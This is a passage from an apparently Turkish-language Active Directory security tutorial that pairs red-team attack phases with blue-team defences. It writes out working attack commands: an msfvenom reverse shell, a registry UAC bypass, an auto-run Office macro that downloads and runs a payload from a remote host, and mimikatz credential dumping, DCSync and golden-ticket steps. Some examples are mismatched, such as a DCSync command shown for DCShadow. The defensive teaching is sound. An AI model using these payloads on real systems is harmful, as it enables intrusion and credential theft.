güvenliğini sağlamak, verilerin gizliliğini korumak ve sistemin yedekli çalışmasını temin etmek, ağ yöneticileri için büyük bir öncelik taşır.</p><h3>Temel Amacı ve Faydaları</h3><ul><li><strong>Merkezi Yönetim</strong> — Kullanıcı hesapları, cihazlar, gruplar ve izinler tek bir yapıdan yönetilir.</li><li><strong>Güvenlik Kontrolleri</strong> — Kimlik doğrulama ve yetkilendirme süreçleri sıkı politikalarla korunur.</li><li><strong>Kolay Entegrasyon</strong> — AD, birçok Microsoft ve üçüncü taraf uygulama ile uyumlu çalışır.</li><li><strong>Otomasyon</strong> — Kullanıcı hesapları ve erişim yetkileri dinamik olarak yönetilebilir.</li><li>✔ <strong>Zamandan Tasarruf</strong> — Tek tek kullanıcıları yönetmek yerine otomatikleştirilmiş politikalar kullanılır.</li><li>✔ <strong>Daha Güçlü Güvenlik</strong> — MFA, parola politikaları ve erişim kısıtlamaları ile saldırı riskleri azaltılır.</li><li>✔ <strong>Ölçeklenebilirlik</strong> — Küçük işletmelerden büyük kurumsal yapılara kadar kolayca adapte edilir.</li></ul><h3>2. AD’nin Temel Bileşenleri</h3><p>Active Directory, birden fazla bileşenden oluşan karmaşık bir yapıdır. Her bileşenin belirli bir görevi ve fonksiyonu vardır. AD’yi anlamak ve yönetmek için bu temel bileşenleri bilmek önemlidir.</p><h3>Domain Controller (DC)</h3><p>Domain Controller, AD’nin temel bileşenidir ve kullanıcı kimlik doğrulama, yetkilendirme ve grup politikalarının uygulanması gibi işlemleri yönetir.</p><ul><li><strong>Tüm Active Directory veritabanını (NTDS.dit) saklar.</strong></li><li>Kullanıcılar oturum açtığında veya kaynaklara erişmek istediğinde kimliklerini doğrular.</li><li><strong>Replication mekanizması</strong> ile birden fazla DC arasında veri senkronizasyonu sağlar.</li><li>DC’lerin çökmesi veya ele geçirilmesi, tüm domain güvenliğini riske atar.</li></ul><p>📌<em>AD ortamında genellikle birden fazla DC bulunur. </em><strong><em>Primary Domain Controller (PDC) ve Additional Domain Controller (ADC)</em></strong><em> olarak yapılandırılabilirler.</em></p><h3>Forest, Domain ve Tree Kavramları</h3><p>AD yapısı <strong>hiyerarşik</strong> bir model üzerine inşa edilmiştir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*_3WHjhp-HaplvDPu.png" /></figure><ul><li><strong>Domain:</strong> Kullanıcıların, grupların ve kaynakların yönetildiği temel birimdir. Örneğin: example.com</li><li><strong>Tree:</strong> Ortak bir DNS namespace’ini paylaşan birden fazla domain’in oluşturduğu yapı. Örneğin: ex1.example.com ve ex2.example.com</li><li><strong>Forest:</strong> Birden fazla tree’den oluşan en büyük Active Directory yapısıdır. <strong>Forest seviyesinde güven ilişkileri (trusts) tanımlanabilir.</strong></li></ul><p>📌Forest içindeki tüm domain’ler, <strong>Common Schema ve Global Catalog</strong> kullanarak birbirleriyle iletişim kurar.</p><h3>Organizational Unit (OU)</h3><p>OU, kullanıcıları, bilgisayarları ve grupları organize etmek için kullanılan mantıksal bir yapıdır.</p><ul><li><strong>Fiziksel veya mantıksal organizasyon yapılarına göre nesneleri bölümlere ayırır.</strong></li><li><strong>GPO (Group Policy Objects) ile yönetim politikaları belirlenebilir.</strong></li><li><strong>Yetki delegasyonu</strong> sayesinde, belirli yöneticilere yalnızca belirli OU’lar için yönetim yetkisi verilebilir.</li></ul><p>📌Bir şirkette <strong>“IT”, “Finance” ve “HR”</strong> gibi bölümlere özel OU’lar oluşturulabilir. Böylece her departmana özel grup politikaları (GPO) uygulanabilir.</p><h3>Group Policy Objects (GPO)</h3><p>GPO, kullanıcı ve bilgisayarların güvenlik ayarlarını ve konfigürasyonlarını merkezi olarak yönetmek için kullanılır.</p><ul><li>Parola politikaları, oturum açma hakları, yazılım kısıtlamaları gibi ayarları yönetebilir.</li><li>Domain, OU veya belirli güvenlik gruplarına özel politikalar tanımlanabilir.</li><li>Merkezi yönetim sağlar ve manuel yapılandırmaları en aza indirir.</li></ul><p>📌Bir şirket, USB kullanımını engellemek, şifre uzunluklarını zorunlu kılmak veya otomatik ekran kilidi süresini belirlemek için GPO kullanabilir.</p><h3>Active Directory Database (NTDS.dit)</h3><p>NTDS.dit, Active Directory’deki tüm nesneleri ve ilişkili bilgileri saklayan <strong>ana veritabanı</strong>dır. <em>New Technology Directory Services Directory Information Tree</em>’nin kısaltmasıdır.</p><p>📂 <strong>Konumu:</strong> C:\Windows\NTDS\NTDS.dit</p><ul><li>Şifreler, grup üyelikleri, GPO ayarları, kullanıcı hesapları ve ACL bilgilerini içerir.</li><li>Bu dosyanın ele geçirilmesi, saldırganların tüm domain denetimini ele geçirmesine yol açabilir (DC Sync, NTDS.dit Extraction Attack).</li></ul><p>📌Bu veritabanı, ESE (Extensible Storage Engine) formatında saklanır ve eski kayıtları içerebilir, bu yüzden saldırganlar bazen silinmiş hesaplara ait hash’leri bile çıkarabilir.</p><h3>Lightweight Directory Access Protocol (LDAP)</h3><p>LDAP, Active Directory ile iletişim kurmak ve veri sorgulamak için kullanılan bir protokoldür.</p><ul><li>AD nesneleri hakkında bilgi almak için kullanılır (kullanıcılar, gruplar, bilgisayarlar vb.).</li><li>Bind işlemi ile kimlik doğrulama yapabilir.</li><li>Güvenli olmayan konfigürasyonlar, bilgilerin sızmasına yol açabilir (LDAP Enumeration Attack).</li></ul><p>📌Yanlış yapılandırılmış LDAP, saldırganların <strong>anonymous bind</strong> veya <strong>unauthenticated LDAP queries</strong> yoluyla kullanıcı listelerini ele geçirmesine neden olabilir. Bir saldırgan, ldapsearch -x -h dc.domain.com -b &quot;dc=domain,dc=com&quot; komutu ile <strong>anonim olarak AD’deki kullanıcıları listeleyebilir.</strong></p><h3>Kerberos Kimlik Doğrulama Protokolü</h3><p>Active Directory (AD) kimlik doğrulaması, kullanıcıların bir kez kimlik bilgileriyle giriş yaparak çeşitli kaynaklara erişebilmelerini sağlayan <strong>Kerberos protokolü</strong>nü kullanır. Kullanıcı kimlik bilgilerini ağ üzerinden iletmek yerine, Kerberos, kullanıcı için belirli bir süre geçerli olan bir <strong>oturum anahtarı</strong> oluşturur ve güvenli ve esnek kimlik doğrulaması sağlar. Ayrıca, kullanıcının erişim hakları ve politikalarını içeren bir <strong>token </strong>oluşturulur, bu da kullanıcıların yalnızca yetkilendirildikleri kaynaklara erişebilmelerini sağlar.</p><p><strong>Kerberos:</strong></p><ul><li>Varsayılan kimlik doğrulama protokolüdür.</li><li>Ticket Granting Ticket (TGT) ile oturum açan kullanıcı, şifresini tekrar girmeden kaynaklara erişebilir.</li><li>Kerberoasting saldırıları, yüksek ayrıcalıklı hesapların Kerberos ticket’larını hedef alır.</li></ul><p><strong>NTLM (NT LAN Manager):</strong></p><ul><li>Eski, ancak hala bazı sistemlerde kullanılan bir protokoldür.</li><li>Pass-the-Hash (PtH) saldırılarına açıktır. mimikatz aracı ile LSASS belleğinden NTLM hash’lerini çekerek bu saldırıyı gerçekleştirebilir.</li><li>NTLM hash’leri ele geçirilirse, saldırganlar şifreyi bilmeden oturum açabilir.</li></ul><h3>3. Active Directory’nin Saldırı Yüzeyi</h3><p>Active Directory ortamının güvenlik açısından zayıf noktaları genellikle şu bileşenlerden kaynaklanır:</p><ol><li><strong>Kimlik Doğrulama Mekanizmaları</strong> — Kerberos ve NTLM zafiyetleri</li><li><strong>Yetkilendirme ve Ayrıcalıklar</strong> — Aşırı yetkilendirilmiş hesaplar</li><li><strong>Ağ Protokolleri ve Hizmetler</strong> — LDAP, SMB, RPC gibi saldırıya açık servisler</li><li><strong>GPO ve Yetkili Komutlar</strong> — Kötü amaçlı grup ilkesi yapılandırmaları</li><li><strong>Zayıf Parolalar ve Kimlik Bilgileri</strong> — Credential dumping saldırıları</li><li><strong>Açıkta Kalan Nesneler ve Yetkilendirmeler</strong> — ACL (Access Control List) zafiyetleri</li><li><strong>Eski veya Yanlış Yapılandırılmış Sistemler</strong> — Güncellenmemiş veya zayıf yapılandırılmış bileşenler</li></ol><p>Bu noktalar, saldırganların AD ortamına sızmak ve genişletmek için kullandıkları giriş yollarını oluşturur.</p><h3>4. Red Team Bakış Açısı</h3><p>Saldırganlar bir AD ortamını hedef aldığında, ilk aşama <strong>olabildiğince fazla bilgi toplamaktır</strong>. Bu aşama, ağ içerisindeki kritik kaynakları belirlemek ve ileride kullanılabilecek açıklıkları keşfetmek için kritik öneme sahiptir.</p><h4>Bilgi Toplama ve İç Ağ Keşfi (Reconnaissance &amp; Enumeration)</h4><ul><li><strong>Pasif keşif</strong>, saldırganın sistemle doğrudan etkileşime girmeden gerçekleştirdiği bilgi toplama sürecidir. Örneğin, internetten sızdırılmış e-posta adreslerini veya açık kaynak istihbarat (OSINT) kaynaklarını analiz etmek bu kapsama girer.</li><li><strong>Aktif keşif</strong>, hedef ağ ile doğrudan etkileşim kurarak yapılan keşif sürecidir. Bu aşamada saldırgan, <strong>kullanıcı hesaplarını, etki alanı denetleyicilerini (Domain Controllers), dosya paylaşımlarını ve kritik servisleri</strong> belirlemeye çalışır.</li></ul><h4><strong>Kimlik Bilgilerini Ele Geçirme (Credential Dumping &amp; Hash Theft)</strong></h4><ul><li>AD ortamındaki saldırıların büyük bir kısmı, <strong>yetkili kullanıcı hesaplarının ele geçirilmesine dayanır</strong>. Bir saldırganın doğrudan Domain Administrator hesabını ele geçirmesi zor olabilir, ancak <strong>daha az yetkiye sahip bir hesabın kimlik bilgilerini çalarak</strong> aşamalı şekilde ilerleyebilir.</li></ul><h4><strong><em>Kimlik Bilgilerini Ele Geçirme Yöntemleri</em></strong></h4><p><strong>1. LSASS Sürecinden Şifrelerin Çekilmesi</strong></p><p>Windows sistemlerinde <strong>LSASS (Local Security Authority Subsystem Service)</strong>, kimlik doğrulama süreçlerini yönetir. Eğer bir saldırgan, LSASS belleğini okuyabilirse, <strong>kullanıcıların açık şifrelerini veya NTLM hash’lerini</strong> ele geçirebilir.</p><p><strong>2. NTLM Hash Toplama ve Pass-the-Hash Saldırıları</strong></p><p>AD’de, kimlik doğrulama süreçlerinde NTLM hash’ler sıkça kullanılır. NTLM hash’leri ele geçiren bir saldırgan, <strong>kullanıcının gerçek şifresini bilmeden ağ içerisinde yetkili işlemler gerçekleştirebilir</strong>.</p><p>Bu teknikler genellikle <strong>Pass-the-Hash saldırılarında</strong> kullanılır. Bir saldırgan, <strong>hash’i doğrudan kullanarak</strong> Domain Controller’a erişim sağlayabilir ve sisteme yüksek yetkilerle bağlanabilir.</p><p><strong>3. Kerberoasting ile Hizmet Hesaplarının Ele Geçirilmesi</strong></p><p>AD ortamında, bazı hizmetler belirli kullanıcı hesapları tarafından çalıştırılır ve bu hesaplar genellikle yüksek yetkilere sahiptir. <strong>Kerberoasting saldırısı</strong>, saldırganların bu hizmet hesaplarının şifrelerini ele geçirmesine olanak tanır.</p><p>Bir saldırgan, Kerberos bileti talep eder ve bunu çevrimdışı olarak brute-force yöntemiyle kırmaya çalışır. Eğer şifre zayıfsa, saldırgan hesap erişimi kazanabilir.</p><p><strong>4. DCSync ile Tüm Kullanıcı Şifrelerini Çalmak</strong></p><p>DCSync saldırısı, bir saldırganın Active Directory’deki hesapların kimlik doğrulama bilgilerini doğrudan bir Domain Controller’dan çekmesini sağlayan tehlikeli bir saldırıdır. Bu saldırı, <strong>Microsoft’un replikasyon protokolü olan DRS (Directory Replication Service) suistimal edilerek gerçekleştirilir.</strong></p><p>Normalde, Domain Controller’lar (DC’ler) birbirleri arasında kimlik bilgilerini ve hesap verilerini senkronize etmek için<strong> DRS </strong>protokolünü kullanır. Eğer bir saldırgan, “<strong>Replicating Directory Changes All</strong>” gibi kritik yetkilere sahip bir kullanıcı hesabını ele geçirirse, DRS replikasyon sürecini kötüye kullanarak DC’den şifre hash’lerini çekebilir.</p><p>DCSync saldırısını gerçekleştirebilmek için saldırganın <strong>Replicating Directory Changes, Replicating Directory Changes All, Replicating Directory Changes In Filtered Set</strong> yetkilerine sahip bir kullanıcı hesabını ele geçirmesi gerekir. Bu yetkilere genellikle <strong>Domain Admins, Enterprise Admins veya özel olarak DCSync hakkı verilen kullanıcı</strong>lar sahiptir.</p><p>Bu saldırı iki yöntemle gerçekleştirilebilir. İlk yöntemde, saldırgan Domain Admin yetkilerine sahip bir kullanıcıyı ele geçirmişse, Mimikatz kullanarak DC’den doğrudan NTLM hash’lerini çekebilir. İkinci yöntemde ise, saldırgan KRBTGT hesabının NTLM hash’ini ele geçirerek Golden Ticket saldırısı gerçekleştirir ve Active Directory ortamında kalıcı erişim sağlar. KRBTGT hash’i kullanılarak saldırgan, uzun süre geçerli olan sahte Kerberos biletleri (TGT) oluşturabilir. Bu saldırıların nasıl gerçekleştirildiği, 6. başlık olan gerçek hayat senaryolarında detaylıca anlatılmıştır.</p><h3>5. Blue Team Bakış Açısı</h3><p>Blue Team, AD ortamını korumak için <strong>önleyici güvenlik önlemleri</strong> almalı ve saldırıları <strong>hızlıca tespit edebilecek izleme mekanizmaları</strong> oluşturmalıdır.</p><h4>Güvenlik Politikalarının Güçlendirilmesi (Hardening)</h4><ul><li>Minimum yetki prensibi uygulanmalıdır. (<strong>Least Privilege</strong>)</li><li>KRBTGT hesap parolası belirli aralıklarla değiştirilmelidir.<br>(Key Distribution Center (KDC) çalışmasını ve yönetilmesini sağlayan kullanıcı hesabıdır. KRBTGT hesabı, otomatik olarak oluşan ve hiçbir türlü ismi değiştirilmeyen veya silinmeyen bir hesaptır.)</li><li>Hassas hesaplar için çok faktörlü kimlik doğrulama<strong> (MFA)</strong> etkinleştirilmelidir.</li><li><strong>LAPS</strong> (Local Administrator Password Solution) gibi araçlar kullanılmalıdır.</li><li>SMB, NTLMv1 gibi eski protokoller devre dışı bırakılmalıdır.</li></ul><p>AD ortamındaki <strong>zayıf noktalar</strong> sık sık gözden geçirilmeli ve <strong>GPO (Group Policy Object)</strong> kullanılarak güvenlik politikaları uygulanmalıdır.</p><h4>Log Analizi ve Tehdit Algılama</h4><p>Red Team saldırılarını tespit edebilmek için Blue Team’in <strong>log yönetimi ve tehdit avcılığı</strong> (Threat Hunting) tekniklerini iyi bilmesi gerekir.</p><ul><li><strong>Windows Event Logları incelenmelidir.</strong></li><li><strong>SIEM (Security Information and Event Management) çözümleri kullanılmalıdır</strong></li><li><strong>Anormal ağ trafiği analiz edilmelidir</strong></li></ul><p>📌 <strong>Örneğin, DCSync saldırısını tespit etmek için</strong> <strong>Event ID 4662 ve 4738</strong> loglarına bakılabilir.</p><p>📌 <strong>Golden Ticket saldırıları ise Event ID 4769 (TGT request) ile fark edilebilir.</strong></p><p>📌 <strong>Pass-the-Hash saldırılarında ise Event ID 4624 (NTLM Logon) şüpheli girişler tespit edilebilir.</strong></p><h4>AD Ağının Segmentasyonu ve Erişim Kontrolleri</h4><ul><li><strong>Domain Controller’lara doğrudan erişim sınırlandırılmalıdır.</strong></li><li><strong>RDP, WinRM gibi uzaktan yönetim protokolleri sadece belirli IP adreslerine açık olmalıdır.</strong></li><li><strong>Hassas hesapların oturum açabileceği sistemler kısıtlanmalıdır.</strong></li></ul><p>Bu önlemler, saldırganların <strong>yatay hareket yapmasını</strong> (Lateral Movement) zorlaştırır ve AD ortamının <strong>daha güvenli olmasını</strong> sağlar.</p><h3>6. Gerçek Hayattan Saldırı Senaryoları</h3><h4>Initial Foothold</h4><blockquote><strong>Bir saldırganın kimlik bilgilerini ele geçirmesi, çeşitli yollarla ağa ilk erişimini sağlaması</strong></blockquote><p><strong>Zayıf şifreler belirlemesine</strong> izin verilen şirketlerin veya varsayılan şifreleri değiştirmeyenlerin hemen elendiği bir sistemde, saldırganlar, <strong>kimlik avı (phishing)</strong>, <strong>sızdırılmış veri tabanları</strong>, <strong>zararlı makro içeren dosyalar sayesinde oluşturulmuş backdoorlar</strong>, veya <strong>tahmin edilebilir parola kombinasyonları</strong> ile sistemde <strong>ilk erişimi kazanabilir</strong>.</p><p><strong>📌 Gerçek Hayatta Nasıl Gerçekleşir?</strong></p><ul><li>Saldırgan, şirket çalışanlarının e-postalarını ve hesaplarını <strong>OSINT </strong>ile bulur. <strong>hunter.io, theHarvester, LinkedIn</strong> gibi OSINT araçları ile e-posta adresleri toplanır. Sızdırılmış veritabanları (<strong>dehashed.com, leakpeek</strong>) kontrol edilir.</li><li><strong>Basit şifre tahmi</strong>ni ile giriş denenir. Çoğu şirket, çalışanlarının ad-soyad kombinasyonlarıyla şifre oluşturmasına izin verir. <strong>Örneğin </strong>ad_soyad@firma.com → Parola: Firma123! <br>ad_soyad → Parola: Qwerty2024!</li><li>Saldırgan<strong>, Outlook Web Access (OWA), VPN veya RDP üzerinden sisteme giriş yapar. </strong>Eğer <strong>çok faktörlü kimlik doğrulama (MFA) yoksa</strong>, saldırgan doğrudan sisteme girebilir. Eğer MFA açıksa, <strong>MFA Bypass</strong> teknikleri kullanılır (örneğin push notification spam saldırısı). Peki MFA Bypass’ın gerçek hayattaki kullanım senaryoları nelerdir:</li><li><strong>— MFA Prompt Bombing (Push Notification Spam Attack)</strong></li></ul><p>Bu teknik, kullanıcıyı <strong>sürekli olarak MFA doğrulama istekleriyle bunaltarak</strong> yanlışlıkla “Kabul Et” düğmesine basmasını sağlamaya dayanır. Özellikle <strong>Microsoft 365 ve Duo Security gibi push tabanlı MFA çözümlerinde</strong> etkilidir. Saldırgan, çalıntı kullanıcı adı ve şifre ile giriş yapmaya çalışır. Hedef kullanıcının telefonuna sürekli olarak MFA doğrulama isteği gönderilir. Kullanıcı rahatsız olup yanlışlıkla “Kabul Et” tuşuna basabilir. Saldırgan, MFA’yı atlayarak sisteme giriş yapar.</p><ul><li><strong>— Man-in-the-Middle (MitM) ve EvilProxy ile MFA Bypass</strong></li></ul><p>Saldırgan bir <strong>MitM Proxy (Evilginx, Modlishka, EvilProxy)</strong> kullanarak kullanıcıya sahte bir giriş sayfası (phishing linki) ile oturum açma sayfasına yönlendirir. Kimlik bilgilerini ve MFA kodunu sahte siteye giren kullanıcı, saldırganın gerçek siteye girilen bilgileri kullanarak <strong>session token’ı çalmasına ve </strong>MFA gerekmeksizin doğrudan oturum açabilmesine sebep olur.</p><p>İki senaryoda da görüldüğü üzere <strong>MFA Bypass saldırıları </strong>sistemin en zayıf halkası olan insan faktörünü kullanmaktadır, bu gibi durumlarla karşı karşıya kalmamak için <strong>Number Matching (Sayı Eşleştirme) veya Biometrik MFA</strong> gibi ek güvenlik önlemleri, <strong>WebAuthn </strong>tabanlı kimlik doğrulama mekanizmaları, <strong>FIDO2 / Passkeys</strong> gibi phishing-resistant MFA çözümleri gibi uygulamalar zorunlu hale getirilmelidir.</p><ul><li>Initial Foothold’da diğer bir seçenek olarak, saldırgan, aşağıdaki kodda da görüldüğü üzere, msfvenom aracıyla reverse tcp bağlantısı kurabilmek için, bir çalışana, <strong>zararlı bir makro içeren Word ya da Excel dosyası</strong> göndererek, AD ortamına giriş yapacak bir arka kapı back door oluşturabilir.</li></ul><pre>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.x LPORT=4444 -f exe &gt; payload.exe</pre><ul><li>Bir payload oluşturmuşken şunu da ekleyelim; <strong>Bir saldırganın payload’unun çalıştırılmasını engelleyen en büyük bariyerlerden biri Kullanıcı Hesabı Denetimi (UAC — User Account Control)’dir.</strong> Normal şartlarda, bir EXE dosyasını çalıştırdığınızda, eğer yükseltilmiş ayrıcalık gerektiriyorsa Windows size “<em>Bu uygulamanın cihazınızda değişiklik yapmasına izin vermek istiyor musunuz?</em>” şeklinde bir uyarı gösterir. Ancak, saldırgan bu engeli aşmak için payload’u <strong>UAC Bypass mekanizmasına uygun şekilde düzenleyebilir.</strong></li><li>UAC Bypass kullanıldığında, <strong>kullanıcı herhangi bir uyarı almadan</strong> payload doğrudan yönetici yetkileriyle çalıştırılır. Aşağıdaki yöntem bu işlemi nasıl gerçekleştirebileceğinizi gösterir.</li><li><strong>— UAC Bypass ile Payload’u Yöneticisiz Çalıştırmak</strong></li></ul><p><strong>Kayıt Defterine Payload’u Ekleyerek Çalıştırma: </strong>Bu teknik, <strong>Windows’un MSC uzantılarıyla ilişkilendirilmiş kayıt defteri anahtarını değiştirerek</strong> payload’un sorgusuz çalışmasını sağlar. Adım adım açıklamak gerekirse; Payload’u oluşturun, Kayıt defterini düzenleyerek payload’un yükseltilmiş yetkilerle çalışmasını sağlayın, ve çalıştırın:</p><pre> msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.x LPORT=4444 -f exe &gt; payload.exe<br><br> reg add HKCU\Software\Classes\mscfile\shell\open\command /d %temp%\payload.exe /f<br><br> eventvwr.msc</pre><p>Bu komut çalıştırıldığında, payload herhangi bir UAC uyarısı göstermeden sistemde çalıştırılır.</p><ul><li><strong>— Makro Tabanlı Kötü Amaçlı Yazılım ile Otomatik Yürütme</strong></li></ul><p>Saldırganlar, <strong>Microsoft Office dosyalarına makro ekleyerek</strong> zararlı yazılımların sistemde sessizce çalışmasını sağlayabilir. Aşağıdaki VBA (Visual Basic for Applications) kodu, <strong>bir Office dosyası açıldığında otomatik olarak çalışacak şekilde tasarlanmıştır. H</strong>edef bilgisayarda <strong>PowerShell üzerinden bir payload indirip çalıştırmaktadır.</strong></p><p>Makro açıldığında, PowerShell çağırılarak payload.exe indirilir.<br>İndirilen payload, kayıt defterine eklenerek persistence sağlanır.<br>Payload’un çalıştırılması için hiçbir kullanıcı etkileşimi gerekmez.</p><pre>Sub Auto_Open()<br>Shell (&quot;cmd.exe /c powershell.exe -w hidden -nop -ep bypass (Invoke-WebRequest -Uri &#39;http://192.168.xxx.xxx:8000/payload.exe&#39; -OutFile &#39;%temp%\test.exe&#39;) &amp; reg add HKCU\Software\Classes\mscfile\shell\open\command /d %temp%\payload.exe /f &amp; %temp%\payload.exe&quot;)<br>End Sub<br><br>Sub AutoOpen()<br>Auto_Open<br>End Sub<br><br>Sub Workbook_Open()<br>Auto_Open<br>End Sub</pre><p>Kurbanın dosyayı açmasını sağlamaya yönelik sosyal mühendislik teknikleriyle birleştirilir. Örneğin: “Ödeme Bilgileri.xlsx” “Şirket Bilançosu.docm” “Gizli Rapor.pdf.exe” gibi sahte dosya adları kullanılarak çalışanlar kandırılabilir.</p><p>Hedef kişi bu makroyu içeren Word/Excel dosyasını açtığında, PowerShell çağırılarak <strong>payload.exe otomatik olarak indirilir</strong>.<br>Payload.exe, sistemde “<strong>mscfile</strong>” ile ilişkilendirilerek<strong> UAC bypass e</strong>dilir.<br>Zararlı kod <strong>herhangi bir uyarı göstermeden çalıştırılır</strong>.</p><p>✅<strong>Blue Team Savunma Önlemleri</strong></p><ul><li>Şifre politikalarını güçlendirin (Güçlü parola zorunluluğu ve LAPS kullanımı).</li><li>Sızdırılmış şifreleri sürekli olarak kontrol edin ve kullanıcıları uyarın.</li><li>MFA zorunlu hale getirin.</li><li>Makroların çalıştırılmasını engelleyin veya dijital imza gereksin.</li><li>PowerShell komutlarının güvenlik politikalarını kısıtlayın.</li><li>Windows Defender ATP ve Sysmon ile şüpheli kayıt defteri değişikliklerini tespit edin.</li></ul><h4>Enumeration &amp; Exploitation</h4><blockquote><strong>İlk erişimi kazanan saldırgan, sistem içinde hareket etmek için ağ içerisindeki kritik bileşenleri, paylaşılan dosyaları, çalışan servisleri ve güvenlik açıklarını araştırır.</strong></blockquote><p><strong>📌 Gerçek Hayatta Nasıl Gerçekleşir?</strong></p><ul><li>Etki Alanı ve Kullanıcı Bilgileri toplanır: <strong>whoami, net user, net group, nltest /dclist:&lt;DOMAIN&gt; </strong>Bu komutlarla saldırgan, AD ortamındaki kullanıcıları ve makineleri öğrenir.</li></ul><pre>whoami /all  <br>net user /domain  <br></pre><ul><li>Ardından domain controller, yani active directory’nin kalbini keşfeder: <strong>nltest /dclist:domain.com. </strong>Domain Controller (DC) IP’sini tespit eder ve hedef olarak belirler.</li><li>Açık paylaşımları ve hassas dosyaları tarar: <strong>net share, dir \\DC\C$. </strong>Eğer açık dosya paylaşımları<strong> (SMB, FTP, NFS) varsa</strong>, saldırgan yetkilendirilmemiş dosyalara erişebilir.</li></ul><pre>net share  <br>dir \\DC\C$</pre><ul><li>İç ağı haritalamak için çeşitli yöntemler kullanılabilir. Bu komutlarla saldırgan <strong>ağ trafiğini, aktif bağlantıları ve kritik makineleri</strong> öğrenir.</li></ul><pre>arp -a  <br>netstat -ano</pre><ul><li>Nihayetinde, saldırgan, a<strong>çık portları ve servisleri keşfetme </strong>aşamasına geçer. <strong>Nmap </strong>kullanabilir. <strong>Zayıf hizmetler, eski Windows sürümleri veya hatalı yapılandırmalar</strong> tespit edilir<strong>. SMB, RDP </strong>veya <strong>eski Windows sunucularının a</strong>çık olup olmadığı belirlenir.</li></ul><h4>Credential Dumping &amp; Privilege Escalation</h4><blockquote><strong>Bir saldırgan, sistemde bir kullanıcı hesabı ele geçirdiğinde, bunu kalıcı erişim sağlamak ve yetkilerini artırmak için kullanır. Bunun için kimlik bilgisi dökümü (Credential Dumping) teknikleri uygulanır.</strong></blockquote><p><strong>📌 Gerçek Hayatta Nasıl Gerçekleşir?</strong></p><ul><li>LSASS Belleğinden kimlik bilgileri çekilir. Mimikatz ile oturum açmış kullanıcıların şifreleri veya hash’leri ele geçirilir.</li></ul><pre>mimikatz  <br>sekurlsa::logonpasswords</pre><ul><li>Pass-the-Hash ile yetkili kullanıcı olunur. Saldırgan, NTLM hash’i kullanarak Admin yetkileriyle oturum açar.</li></ul><pre>mimikatz  <br>sekurlsa::pth /user:admin /domain:DOMAIN /ntlm:&lt;HASH&gt;</pre><ul><li>Kerberoasting ile Yüksek Yetkili Hesapları Çalar: Saldırgan, hizmet hesaplarının şifre hash’lerini alır ve kırmaya çalışır.</li></ul><pre>GetUserSPNs.py domain/user -request</pre><ul><li>DCSync ile Tüm Kullanıcıların Hash’lerini Çeker: Saldırgan, AD içinde kimlik doğrulama yapan “krbtgt” hesabını çalarsa, geçerlilik süresi uzun olan “<strong>Golden Ticket</strong>” oluşturabilir.</li></ul><pre>mimikatz  <br>lsadump::dcsync /domain:DOMAIN /user:krbtgt</pre><p>✅<strong> Blue Team Savunma Önlemleri</strong></p><ul><li>Mimikatz ve benzeri araçları engellemek için LSASS korumasını etkinleştirin.</li><li>DCSync saldırılarını tespit etmek için SIEM kullanın (Event ID 4662, 4738).</li><li>Kerberos hizmet hesapları için güçlü şifreler ve rotasyon politikaları belirleyin.</li></ul><h4>Lateral Movement</h4><blockquote><strong>Saldırgan, bir makineden diğerine ilerleyerek, daha kritik sistemlere veya hedef kullanıcılara yayılmaya çalışır. Özellikle, ağ üzerinde açık olan SMB paylaşım noktalarını ve WinRM erişimini test eder.</strong></blockquote><p><strong>📌 Gerçek Hayatta Nasıl Gerçekleşir?</strong></p><ul><li>Pass-the-Hash (PtH) Ele geçirilen NTLM hash’i ile kimlik doğrulama yaparak başka sistemlere erişim sağlanabilir.</li></ul><pre>psexec.py domain/user@victim-ip -hashes aad3b435b51404eeaad3b435b51404eE</pre><ul><li>Pass-the-Ticket (PtT) <strong>Ele geçirilen Kerberos biletlerini kullanarak</strong> saldırganın doğrudan hedef sistemlere erişmesi durumudur.</li></ul><pre>mimikatz<br>sekurlsa::pth /user:Administrator /domain:LAB.local /ntlm:&lt;hash&gt; /run:powershell.exe<br></pre><ul><li>RDP Pivoting Bir sistemde <strong>yönetici yetkileri elde edildikten sonra</strong> uzak masaüstü bağlantısıyla (RDP) diğer makineler kontrol edilebilir.</li></ul><pre>xfreerdp /u:user /p:password /v:victim-ip</pre><p>✅ <strong>Blue Team Savunması:</strong></p><ul><li>SMB Signing’i zorunlu hale getirin.</li><li>WinRM bağlantılarını sıkı denetleyin ve logları analiz edin.</li><li>PowerShell komut geçmişlerini kaydedin (Script Block Logging).</li></ul><h4>Persistence</h4><blockquote><strong>Saldırgan, ele geçirdiği erişimi kaybetmemek için sistemde kalıcı olarak yer edinmek amacıyla, NTDS.dit dosyasından veya bir Domain Controller’dan KRBTGT kullanıcısının NTLM hash’ini ele geçirerek süresiz geçerli olan Kerberos biletleri oluşturabilir.</strong></blockquote><p><strong>📌 Gerçek Hayatta Nasıl Gerçekleşir?</strong></p><ul><li>Saldırgan, <strong>NTDS.dit dosyasından veya bir Domain Controller’dan KRBTGT kullanıcısının NTLM hash’ini ele geçirerek</strong> süresiz geçerli olan Kerberos biletleri oluşturabilir.</li><li><strong>Golden Ticket Üretme</strong>: Bununla, tüm sistemlere Domain Admin olarak erişim sağlanabilir.</li></ul><pre>mimikatz<br>kerberos::golden /user:Administrator /domain:LAB.local /sid:S-1-5-21-123456789 /krbtgt:&lt;krbtgt hash&gt; /id:500</pre><ul><li><strong>DCShadow Attack: </strong>Sahte bir Domain Controller oluşturarak Active Directory’de kalıcı değişiklikler yapılabilir.</li></ul><pre>mimikatz<br>!dcsync /user:krbtgt</pre><ul><li>Kısaca Golden Ticket oluşturulduğunda, saldırgan Domain Admin olarak hareket edebilir ve tüm makineleri kontrol edebilir. DCShadow ile AD nesnelerini değiştirebilir, yeni admin hesapları oluşturabilir.</li></ul><p>✅ <strong>Blue Team Savunması:</strong></p><ul><li>KRBTGT parolasını düzenli olarak değiştirin.</li><li>LDAP yazma yetkilerini kısıtlayın.</li><li>Kerberos bilet yaşlarını dikkatle takip edin ve uzun süreli biletleri tespit edin.</li></ul><h4>Data Exfiltration</h4><blockquote><strong>Saldırgan, artık sistem içindeki verileri ele geçirdiği ve çalmaya çalıştığı aşamaya geçmiştir. NTDS.dit dosyası, Active Directory’de tüm kullanıcıların parolalarını içeren en kritik dosyalardan biridir. Saldırganlar, genellikle Shadow Copy (VSS) kullanarak bu dosyanın bir kopyasını oluşturur ve ele geçirir.</strong></blockquote><p><strong>📌 Gerçek Hayatta Nasıl 